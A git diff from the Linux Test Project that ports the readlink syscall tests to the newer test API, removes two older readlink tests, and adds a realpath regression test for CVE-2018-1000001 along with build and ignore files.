new file mode 100644
index 0000000..307817f
--- /dev/null
+++ b/testcases/kernel/syscalls/readlink/.gitignore
@@ -0,0 +1,2 @@
+/readlink01
+/readlink03
diff --git a/testcases/kernel/syscalls/readlink/readlink01.c b/testcases/kernel/syscalls/readlink/readlink01.c
index 5f6448a..0b7f52f 100644
--- a/testcases/kernel/syscalls/readlink/readlink01.c
+++ b/testcases/kernel/syscalls/readlink/readlink01.c
@@ -1,195 +1,99 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *   07/2001 Ported by Wayne Boyer
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  */
 
 /*
- * Test Name : readlink01
- *
  * Test Description :
- *  Verify that, readlink will succeed to read the contents of the symbolic
- *  link created the process.
- *
- * Expected Result:
- *  readlink() should return the contents of symbolic link path in the buffer
- *  on success.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  readlink01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  This test should be run by 'non-super-user' only.
- *
+ *   Testcase to check the basic functionality of the readlink(2),
+ *   readlink() will succeed to read the contents of the symbolic link.
  */
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <sys/stat.h>
+
 #include <pwd.h>
+#include <errno.h>
+#include <string.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
-#define TESTFILE	"testfile"
-#define SYMFILE		"slink_file"
-#define FILE_MODE       S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
-#define MAX_SIZE	256
+#define TESTFILE "test_file"
+#define SYMFILE	"slink_file"
 
-char *TCID = "readlink01";
-int TST_TOTAL = 1;
+static uid_t nobody_uid;
 
-const int exp_val = sizeof(TESTFILE) - 1;	/* strlen of testfile */
-
-void setup();
-void cleanup();
-
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-int main(int ac, char **av)
+static void test_readlink(void)
 {
-	char buffer[MAX_SIZE];	/* temporary buffer to hold symlink contents */
-	int lc;
+	char buffer[256];
+	int exp_val = strlen(TESTFILE);
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(readlink(SYMFILE, buffer, sizeof(buffer)));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "readlink() on %s failed", SYMFILE);
+		return;
+	}
 
-	setup();
+	if (TST_RET != exp_val) {
+		tst_res(TFAIL, "readlink() returned value %ld "
+			"did't match, Expected %d", TST_RET, exp_val);
+		return;
+	}
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	if (memcmp(buffer, TESTFILE, exp_val) != 0) {
+		tst_res(TFAIL, "Pathname %s and buffer contents %s differ",
+			TESTFILE, buffer);
+	} else {
+		tst_res(TPASS, "readlink() functionality on '%s' was correct",
+			SYMFILE);
+	}
+}
 
-		tst_count = 0;
+static void verify_readlink(unsigned int n)
+{
+	pid_t pid;
 
-		/*
-		 * Call readlink(2) to read the contents of
-		 * symlink into a buffer.
-		 */
-		TEST(readlink(SYMFILE, buffer, sizeof(buffer)));
+	if (n) {
+		tst_res(TINFO, "Running test as nobody");
+		pid = SAFE_FORK();
 
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL,
-				 "readlink() on %s failed, errno=%d : %s",
-				 SYMFILE, TEST_ERRNO, strerror(TEST_ERRNO));
-			continue;
+		if (!pid) {
+			SAFE_SETUID(nobody_uid);
+			test_readlink();
+			return;
 		}
-
-		/*
-		 * Compare the return value of readlink()
-		 * with the expected value which is the
-		 * strlen() of testfile.
-		 */
-		if (TEST_RETURN == exp_val) {
-			/* Check for the contents of buffer */
-			if (memcmp(buffer, TESTFILE, exp_val) != 0) {
-				tst_resm(TFAIL, "Pathname %s and buffer"
-					 " contents %s differ",
-					 TESTFILE, buffer);
-			} else {
-				tst_resm(TPASS, "readlink() "
-					 "functionality on '%s' is "
-					 "correct", SYMFILE);
-			}
-		} else {
-			tst_resm(TFAIL, "readlink() return value %ld "
-				 "does't match, Expected %d",
-				 TEST_RETURN, exp_val);
-		}
+	} else {
+		tst_res(TINFO, "Running test as root");
+		test_readlink();
 	}
-
-	cleanup();
-	tst_exit();
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *
- *  Create a temporary directory and change directory to it.
- *  Create a test file under temporary directory and close it
- *  Create a symbolic link of testfile.
- */
-void setup(void)
+static void setup(void)
 {
-	int fd;			/* file handle for testfile */
+	int fd;
+	struct passwd *pw;
 
-	tst_require_root();
+	pw = SAFE_GETPWNAM("nobody");
 
-	if ((ltpuser = getpwnam(nobody_uid)) == NULL) {
-		tst_brkm(TBROK, cleanup, "getpwname(nobody_uid) failed ");
-	}
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
+	nobody_uid = pw->pw_uid;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	if ((fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE)) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %#o) failed",
-			 TESTFILE, FILE_MODE);
-	}
-
-	if (close(fd) == -1) {
-		tst_resm(TWARN | TERRNO, "close(%s) failed", TESTFILE);
-	}
-
-	/* Create a symlink of testfile under temporary directory */
-	SAFE_SYMLINK(cleanup, TESTFILE, SYMFILE);
+	fd = SAFE_OPEN(TESTFILE, O_RDWR | O_CREAT, 0444);
+	SAFE_CLOSE(fd);
+	SAFE_SYMLINK(TESTFILE, SYMFILE);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *
- *  Remove the test directory and testfile created in the setup.
- */
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.test = verify_readlink,\
+	.tcnt = 2,
+	.setup = setup,
+	.forks_child = 1,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/readlink/readlink02.c b/testcases/kernel/syscalls/readlink/readlink02.c
deleted file mode 100644
index 218a6e3..0000000
--- a/testcases/kernel/syscalls/readlink/readlink02.c
+++ /dev/null
@@ -1,210 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: readlink02.c,v 1.6 2009/11/02 13:57:17 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: readlink02
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for readlink(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) readlink(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the readlink(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	readlink(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
-
-#include <sys/types.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "readlink02";
-int TST_TOTAL = 1;
-
-char fname[255], buf[255], symlnk[255];
-int fd;
-
-int main(int ac, char **av)
-{
-	int lc;
-
-    /***************************************************************
-     * parse standard options
-     ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
-
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
-
-    /***************************************************************
-     * check looping state if -c option given
-     ***************************************************************/
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call readlink(2)
-		 */
-		TEST(readlink(symlnk, buf, 255));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL,
-				 "readlink(%s, buf, 255) Failed, errno=%d : %s",
-				 symlnk, TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS,
-				 "readlink(%s, buf, 255) returned %ld",
-				 symlnk, TEST_RETURN);
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	sprintf(fname, "./tfile_%d", getpid());
-	if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "open(%s, O_RDWR|O_CREAT,0700) Failed, errno=%d : %s",
-			 fname, errno, strerror(errno));
-	}
-	if (close(fd) == -1) {
-		tst_resm(TWARN, "close(%s) Failed, errno=%d : %s",
-			 fname, errno, strerror(errno));
-	}
-	sprintf(symlnk, "./sl_%d", getpid());
-	if (symlink(fname, symlnk) == -1) {
-		tst_resm(TWARN, "symlnk(%s, %s) Failed, errno=%d : %s",
-			 fname, symlnk, errno, strerror(errno));
-	}
-
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/readlink/readlink03.c b/testcases/kernel/syscalls/readlink/readlink03.c
index 0106621..d757cf7 100644
--- a/testcases/kernel/syscalls/readlink/readlink03.c
+++ b/testcases/kernel/syscalls/readlink/readlink03.c
@@ -1,25 +1,20 @@
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) International Business Machines  Corp., 2001
  *   07/2001 Ported by Wayne Boyer
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software Foundation,
- *   Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  */
+
 /*
  * Test Description :
- *   Verify that,
  *   1) readlink(2) returns -1 and sets errno to EACCES if search/write
  *	permission is denied in the directory where the symbolic link
  *	resides.
@@ -35,155 +30,106 @@
  *	the path prefix is not a directory.
  *   7) readlink(2) returns -1 and sets errno to ELOOP if too many symbolic
  *	links were encountered in translating the pathname.
+ *   8) readlink(2) returns -1 and sets errno to EFAULT if buf outside the
+ *	process allocated address space.
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <fcntl.h>
+#include <pwd.h>
 #include <errno.h>
 #include <string.h>
-#include <signal.h>
-#include <sys/stat.h>
-#include <pwd.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
-#define MODE_RWX	(S_IRWXU | S_IRWXG | S_IRWXO)
-#define FILE_MODE	(S_IRUSR | S_IRGRP | S_IROTH)
-#define DIR_TEMP	"testdir_1"
-#define TEST_FILE1	"testdir_1/tfile_1"
-#define SYM_FILE1	"testdir_1/sfile_1"
-#define TEST_FILE2	"tfile_2"
-#define SYM_FILE2	"sfile_2"
-#define TEST_FILE3	"tfile_3"
-#define SYM_FILE3	"tfile_3/sfile_3"
+#define DIR_TEMP	"test_dir_1"
+#define TEST_FILE1	"test_dir_1/test_file_1"
+#define SYM_FILE1	"test_dir_1/slink_file_1"
+#define TEST_FILE2	"test_file_2"
+#define SYM_FILE2	"slink_file_2"
+#define TEST_FILE3	"test_file_3"
+#define SYM_FILE3	"test_file_3/slink_file_3"
 #define ELOOPFILE	"/test_eloop"
-#define MAX_SIZE	256
+#define TESTFILE	"test_file"
+#define SYMFILE		"slink_file"
 
 static char longpathname[PATH_MAX + 2];
 static char elooppathname[sizeof(ELOOPFILE) * 43] = ".";
+static char buffer[256];
 
-static struct test_case_t {
+static struct tcase {
 	char *link;
+	char *buf;
 	size_t buf_size;
 	int exp_errno;
-} test_cases[] = {
-	{SYM_FILE1, 1, EACCES},
-	    /* Don't test with bufsize -1, since this cause a fortify-check-fail when
-	       using glibc and -D_FORITY_SOURCE=2
-
-	       Discussion: http://lkml.org/lkml/2008/10/23/229
-	       Conclusion: Only test with 0 as non-positive bufsize.
-
-	       { SYM_FILE2, -1, EINVAL, NULL },
-	     */
-	{SYM_FILE2, 0, EINVAL},
-	{TEST_FILE2, 1, EINVAL},
-	{longpathname, 1, ENAMETOOLONG},
-	{"", 1, ENOENT},
-	{SYM_FILE3, 1, ENOTDIR},
-	{elooppathname, 1, ELOOP},
+} tcases[] = {
+	{SYM_FILE1, buffer, sizeof(buffer), EACCES},
+	{SYM_FILE2, buffer, 0, EINVAL},
+	{TEST_FILE2, buffer, sizeof(buffer), EINVAL},
+	{longpathname, buffer, sizeof(buffer), ENAMETOOLONG},
+	{"", buffer, sizeof(buffer), ENOENT},
+	{SYM_FILE3, buffer, sizeof(buffer), ENOTDIR},
+	{elooppathname, buffer, sizeof(buffer), ELOOP},
+	{SYMFILE, (char *)-1, sizeof(buffer), EFAULT},
 };
 
-static void setup(void);
-static void readlink_verify(struct test_case_t *);
-static void cleanup(void);
-
-char *TCID = "readlink03";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int ac, char **av)
+static void verify_readlink(unsigned int n)
 {
-	int i, lc;
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			readlink_verify(&test_cases[i]);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-void setup(void)
-{
-	struct passwd *ltpuser;
-	int i;
-
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	ltpuser = SAFE_GETPWNAM(cleanup, "nobody");
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	SAFE_MKDIR(cleanup, DIR_TEMP, MODE_RWX);
-	SAFE_TOUCH(cleanup, TEST_FILE1, 0666, NULL);
-	SAFE_SYMLINK(cleanup, TEST_FILE1, SYM_FILE1);
-	SAFE_CHMOD(cleanup, DIR_TEMP, FILE_MODE);
-
-	SAFE_TOUCH(cleanup, TEST_FILE2, 0666, NULL);
-	SAFE_SYMLINK(cleanup, TEST_FILE2, SYM_FILE2);
-
-	memset(longpathname, 'a', PATH_MAX + 1);
-
-	SAFE_TOUCH(cleanup, TEST_FILE3, 0666, NULL);
-
-	/*
-	 * NOTE: the ELOOP test is written based on that the consecutive
-	 * symlinks limit in kernel is hardwired to 40.
-	 */
-	SAFE_MKDIR(cleanup, "test_eloop", MODE_RWX);
-	SAFE_SYMLINK(cleanup, "../test_eloop", "test_eloop/test_eloop");
-	for (i = 0; i < 43; i++)
-		strcat(elooppathname, ELOOPFILE);
-}
-
-void readlink_verify(struct test_case_t *tc)
-{
-	char buffer[MAX_SIZE];
-
-	if (tc->buf_size == 1)
-		tc->buf_size = sizeof(buffer);
-
-	TEST(readlink(tc->link, buffer, tc->buf_size));
-
-	if (TEST_RETURN != -1) {
-		tst_resm(TFAIL, "readlink() returned %ld, "
-			"expected -1, errno:%d", TEST_RETURN,
-			tc->exp_errno);
+	TEST(readlink(tc->link, tc->buf, tc->buf_size));
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "readlink() sueeeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_errno) {
-		tst_resm(TPASS | TTERRNO, "readlink() failed as expected");
-	} else {
-		tst_resm(TFAIL | TTERRNO,
-			"readlink() failed unexpectedly; expected: %d - %s",
-			tc->exp_errno, strerror(tc->exp_errno));
-		if (tc->exp_errno == ENOENT && TEST_ERRNO == EINVAL) {
-			tst_resm(TWARN | TTERRNO,
+	if (TST_ERR != tc->exp_errno) {
+		tst_res(TFAIL | TTERRNO,
+			"readlink() failed unexpectedly; expected: %d - %s, got",
+			tc->exp_errno, tst_strerrno(tc->exp_errno));
+
+		if (tc->exp_errno == ENOENT && TST_ERR == EINVAL) {
+			tst_res(TWARN | TTERRNO,
 				"It may be a Kernel Bug, see the patch:"
 				"http://git.kernel.org/linus/1fa1e7f6");
 		}
+	} else {
+		tst_res(TPASS | TTERRNO, "readlink() failed as expected");
 	}
 }
 
-void cleanup(void)
+static void setup(void)
 {
-	if (seteuid(0) == -1)
-		tst_resm(TWARN | TERRNO, "seteuid(0) failed");
+	int i;
+	struct passwd *pwent;
 
-	tst_rmdir();
+	pwent = SAFE_GETPWNAM("nobody");
+	SAFE_SETEUID(pwent->pw_uid);
+
+	SAFE_MKDIR(DIR_TEMP, 0777);
+	SAFE_TOUCH(TEST_FILE1, 0666, NULL);
+	SAFE_SYMLINK(TEST_FILE1, SYM_FILE1);
+	SAFE_CHMOD(DIR_TEMP, 0444);
+
+	SAFE_TOUCH(TEST_FILE2, 0666, NULL);
+	SAFE_SYMLINK(TEST_FILE2, SYM_FILE2);
+
+	memset(longpathname, 'a', PATH_MAX + 1);
+
+	SAFE_TOUCH(TEST_FILE3, 0666, NULL);
+
+	SAFE_MKDIR("test_eloop", 0777);
+	SAFE_SYMLINK("../test_eloop", "test_eloop/test_eloop");
+
+	for (i = 0; i < 43; i++)
+		strcat(elooppathname, ELOOPFILE);
+
+	SAFE_TOUCH(TESTFILE, 0666, NULL);
+	SAFE_SYMLINK(TESTFILE, SYMFILE);
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_readlink,
+	.setup = setup,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/readlink/readlink04.c b/testcases/kernel/syscalls/readlink/readlink04.c
deleted file mode 100644
index 9c6c589..0000000
--- a/testcases/kernel/syscalls/readlink/readlink04.c
+++ /dev/null
@@ -1,158 +0,0 @@
-/*
- * Copyright (c) International Business Machines  Corp., 2001
- * Copyright (c) 2013 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Test Name : readlink04
- *
- * Test Description :
- *  Verify that, readlink call will succeed to read the contents of the
- *  symbolic link if invoked by non-root user who is not the owner of the
- *  symbolic link.
- *
- * Expected Result:
- *  readlink() should return the contents of symbolic link path in the
- *  specified buffer on success.
- */
-
-#include <stdlib.h>
-#include <pwd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <string.h>
-#include "test.h"
-#include "safe_macros.h"
-
-char *TCID = "readlink04";
-int TST_TOTAL = 1;
-
-static char *TESTFILE = "./testfile";
-static char *SYMFILE = "slink_file";
-
-#define MAX_SIZE	256
-
-static int exp_val;
-static char buffer[MAX_SIZE];
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call readlink(2) to read the contents of
-		 * symlink into a buffer.
-		 */
-		TEST(readlink(SYMFILE, buffer, sizeof(buffer)));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "readlink() on %s failed",
-			         SYMFILE);
-			continue;
-		}
-
-		if (TEST_RETURN == exp_val) {
-			/* Check for the contents of buffer */
-			if (memcmp(buffer, TESTFILE, exp_val) != 0) {
-				tst_brkm(TFAIL, cleanup, "TESTFILE %s "
-					 "and buffer contents %s "
-					 "differ", TESTFILE, buffer);
-			} else {
-				tst_resm(TPASS, "readlink() "
-					 "functionality on '%s' is "
-					 "correct", SYMFILE);
-			}
-		} else {
-			tst_resm(TFAIL, "readlink() return value %ld "
-				 "doesn't match, Expected %d",
-				 TEST_RETURN, exp_val);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-#define FILE_MODE  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
-
-static void setup(void)
-{
-	int fd;
-	char *tmp_dir = NULL;
-	struct passwd *pwent;
-
-	tst_require_root();
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/* get the name of the temporary directory */
-	if ((tmp_dir = getcwd(tmp_dir, 0)) == NULL)
-		tst_brkm(TBROK, NULL, "getcwd failed");
-
-	if ((pwent = getpwnam("bin")) == NULL)
-		tst_brkm(TBROK, cleanup, "getpwname() failed");
-
-	/* make the tmp directory belong to bin */
-	SAFE_CHOWN(cleanup, tmp_dir, pwent->pw_uid, pwent->pw_gid);
-
-	if (chmod(tmp_dir, 0711) != 0)
-		tst_brkm(TBROK|TERRNO, cleanup, "chmod(%s) failed", tmp_dir);
-
-	/* create test file and symlink */
-	if ((fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE)) == -1)
-		tst_brkm(TBROK|TERRNO, cleanup, "open(%s) failed", TESTFILE);
-
-	if (close(fd))
-		tst_brkm(TBROK|TERRNO, cleanup, "close(%s) failed", TESTFILE);
-
-	SAFE_SYMLINK(cleanup, TESTFILE, SYMFILE);
-
-	/* set up the expected return value from the readlink() call */
-	exp_val = strlen(TESTFILE);
-
-	/* fill the buffer with a known value */
-	memset(buffer, 0, MAX_SIZE);
-
-	/* finally, change the id of the parent process to "nobody" */
-	if ((pwent = getpwnam("nobody")) == NULL)
-		tst_brkm(TBROK, cleanup, "getpwname() failed for nobody");
-
-	SAFE_SETEUID(cleanup, pwent->pw_uid);
-}
-
-static void cleanup(void)
-{
-	SAFE_SETEUID(NULL, 0);
-
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/readlinkat/.gitignore b/testcases/kernel/syscalls/readlinkat/.gitignore
new file mode 100644
index 0000000..22fe2ef
--- /dev/null
+++ b/testcases/kernel/syscalls/readlinkat/.gitignore
@@ -0,0 +1,2 @@
+/readlinkat01
+/readlinkat02
diff --git a/testcases/kernel/syscalls/readv/.gitignore b/testcases/kernel/syscalls/readv/.gitignore
new file mode 100644
index 0000000..c4aa61e
--- /dev/null
+++ b/testcases/kernel/syscalls/readv/.gitignore
@@ -0,0 +1,3 @@
+/readv01
+/readv02
+/readv03
diff --git a/testcases/kernel/syscalls/realpath/.gitignore b/testcases/kernel/syscalls/realpath/.gitignore
new file mode 100644
index 0000000..54860c0
--- /dev/null
+++ b/testcases/kernel/syscalls/realpath/.gitignore
@@ -0,0 +1 @@
+/realpath01
diff --git a/testcases/kernel/syscalls/realpath/Makefile b/testcases/kernel/syscalls/realpath/Makefile
new file mode 100644
index 0000000..0a9cd66
--- /dev/null
+++ b/testcases/kernel/syscalls/realpath/Makefile
@@ -0,0 +1,8 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2018 Michael Moese <mmoese@suse.de>
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/realpath/realpath01.c b/testcases/kernel/syscalls/realpath/realpath01.c
new file mode 100644
index 0000000..fc2af2a
--- /dev/null
+++ b/testcases/kernel/syscalls/realpath/realpath01.c
@@ -0,0 +1,44 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2018 Petr Vorel <pvorel@suse.cz>
+ * Copyright (C) 2018 Michael Moese <mmoese@suse.de>
+ *
+ * cve-2018-1000001 realpath buffer underflow
+ * Based on the reproducer posted upstream so other copyrights may apply.
+ * Author: Dmitry V. Levin <ldv@altlinux.org>
+ * LTP conversion from glibc source: Petr Vorel <pvorel@suse.cz>
+ */
+
+#include "tst_test.h"
+
+#include <errno.h>
+#include <stdlib.h>
+
+#define CHROOT_DIR "cve-2018-1000001"
+
+static void setup(void)
+{
+	SAFE_MKDIR(CHROOT_DIR, 0755);
+	SAFE_CHROOT(CHROOT_DIR);
+}
+
+static void run(void)
+{
+	TESTPTR(realpath(".", NULL));
+
+	if (TST_ERR != ENOENT) {
+		tst_res(TFAIL | TTERRNO, "returned unexpected errno");
+	} else	if (TST_RET_PTR != NULL) {
+		tst_res(TFAIL, "syscall didn't return NULL: '%s'",
+				(char *)TST_RET_PTR);
+	} else {
+		tst_res(TPASS, "bug not reproduced");
+	}
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/reboot/.gitignore b/testcases/kernel/syscalls/reboot/.gitignore
new file mode 100644
index 0000000..6f1165e
--- /dev/null
+++ b/testcases/kernel/syscalls/reboot/.gitignore
@@ -0,0 +1,2 @@
+/reboot01
+/reboot02
